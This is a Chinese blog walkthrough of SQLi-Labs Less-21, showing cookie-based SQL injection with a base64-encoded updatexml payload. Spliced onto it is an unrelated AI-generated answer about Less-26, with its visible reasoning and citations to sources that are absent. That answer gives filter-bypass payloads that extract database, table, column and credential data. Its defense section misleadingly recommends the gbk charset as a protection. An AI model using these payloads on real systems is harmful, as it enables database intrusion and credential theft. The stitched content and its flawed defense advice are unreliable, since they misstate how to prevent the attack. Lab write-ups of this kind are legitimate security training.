SQLi LABS Less-21

 「作者简介」:冬奥会网络安全中国代表队,优快云 Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。

第21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大

21关的突破口在cookie,用户登录成功后,将用户名进行base64加密后,保存在cookie中

点击提交按钮的时候,会从cookie中获取保存的用户名,使用base64解密后,查询数据库,来验证用户是否处于登录状态,我们可以修改cookie的值,从而进行SQL注入

 

先输入正确的用户名和密码,登录成功后刷新页面,并使用代理软件(Burp Suite)拦截请求,可以看到Cookie中保存了base64加密后的用户名

我们将用户名进行解密(先使用url解码,再使用base64解码),可获得编码前的用户名

我们将构造好的payload使用base64加密后再提交

1') and updatexml(1,0x7e,1) -- a

 加密后

MScpIGFuZCB1cGRhdGV4bWwoMSwweDdlLDEpIC0tIGE=

 报错成功,接下来修改payload脱库即可

<think>好的,用户想要解决SQLiLabs Less-26的挑战,我需要先回顾一下这个关卡的特点。Less-26通常涉及绕过过滤机制,比如过滤空格、注释符或者某些关键词。根据提供的引用内容,之前的关卡如Less-36提到使用GBK编码绕过转义,而Less-11、12和48使用了报错注入技术,比如extractvalue和updatexml函数。此外,Less-34涉及UTF编码的知识,可能与字符编码有关。 首先,我需要确认Less-26的具体过滤规则。根据经验,Less-26可能过滤了空格、注释符(如--+或#),可能还有某些关键字如union、select等。用户可能需要使用替代字符绕过过滤,比如用%a0代替空格,或者使用括号包裹注入语句。例如,使用报错注入时,需要确保闭合单引号,并绕过空格过滤。 接下来,构造注入语句。例如,爆库名时,可能需要用报错函数,结合concat和0x7e符号。同时,替换空格为%a0或使用括号。例如:'or(updatexml(1,concat(0x7e,(select database())),1))%26%26'a'='a。这里需要注意闭合原查询的单引号,并使用逻辑运算符绕过过滤。 另外,考虑字符编码的问题,可能需要调整字符集,如GBK,但根据引用[1],这需要设置正确的字符集。不过Less-26是否涉及字符集绕过还不确定,可能需要结合其他方法。 用户可能需要逐步测试过滤的字符,尝试不同的替代方法,比如使用双重编码或特定符号代替空格。同时,确保注入语句的正确闭合,避免语法错误。在获取表名和字段名时,需要利用information_schema,并处理可能的过滤,例如将users表名用十六进制表示,避免单引号被过滤。 最后,总结步骤,帮助用户理解每个注入步骤的目的和方法,并提供相关问题以深化理解,如如何绕过其他过滤,替代空格的其他方法,以及报错注入的其他函数。</think>### SQLi-Labs Less-26 解决方案 #### 一、关卡特性分析 Less-26 是 SQLi-Labs 中针对**过滤空格和注释符**的注入挑战。主要过滤以下内容: 1. 空格(包括普通空格、`%20`、`+`) 2. 注释符(`--+`、`#`) 3. 部分关键词(如`union select`可能被拆分会失效) 引用示例中的报错注入技术[^2][^3]在此关卡仍适用,但需要绕过过滤规则。 --- #### 二、绕过过滤的核心方法 1. **替代空格的字符**: - `%a0`(URL 编码的不可见字符) - 使用括号`()`包裹语句 - 例如:`select(schema_name)from(information_schema.schemata)` 2. **绕过注释符**: - 通过逻辑运算符闭合语句,如 `'||'1'='1` 或 `'&&'1'='1` 3. **关键词拆分绕过**: - 使用双写、大小写混合或插入特殊符号(如`uni%a0on sele%a0ct`) --- #### 三、分步骤注入流程 ##### 1. 判断注入点 输入测试载荷: ```sql '||'1'='1 ``` 若返回正常页面,说明存在字符型注入。 ##### 2. 爆数据库名 使用报错注入函数`updatexml`,替代空格为`%a0`: ```sql 'or(updatexml(1,concat(0x7e,(select%a0database())),1))%26%26'a'='a ``` - `%26%26` 是 `&&` 的 URL 编码 - 输出示例:`XPATH syntax error: '~security'` → 数据库名为 `security`[^3] ##### 3. 爆表名 ```sql 'or(updatexml(1,concat(0x7e,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=database())),1))%26%26'a'='a ``` 输出示例:`~emails,referers,uagents,users` ##### 4. 爆字段名(以 `users` 表为例) ```sql 'or(updatexml(1,concat(0x7e,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='users')),1))%26%26'a'='a ``` 输出示例:`~id,username,password` ##### 5. 提取数据 ```sql 'or(updatexml(1,concat(0x7e,(select%a0group_concat(username,0x3a,password)%a0from%a0users)),1))%26%26'a'='a ``` 输出示例:`~Dumb:Dumb,Angelina:...` --- #### 四、防御措施(参考引用[^1]) 若开发中需防范此类攻击: 1. 使用 `mysql_real_escape_string()` 前设置字符集为 `gbk`: ```php mysql_set_charset('gbk', $conn); ``` 2. 使用预编译语句(PDO/MySQLi---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

士别三日wyx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值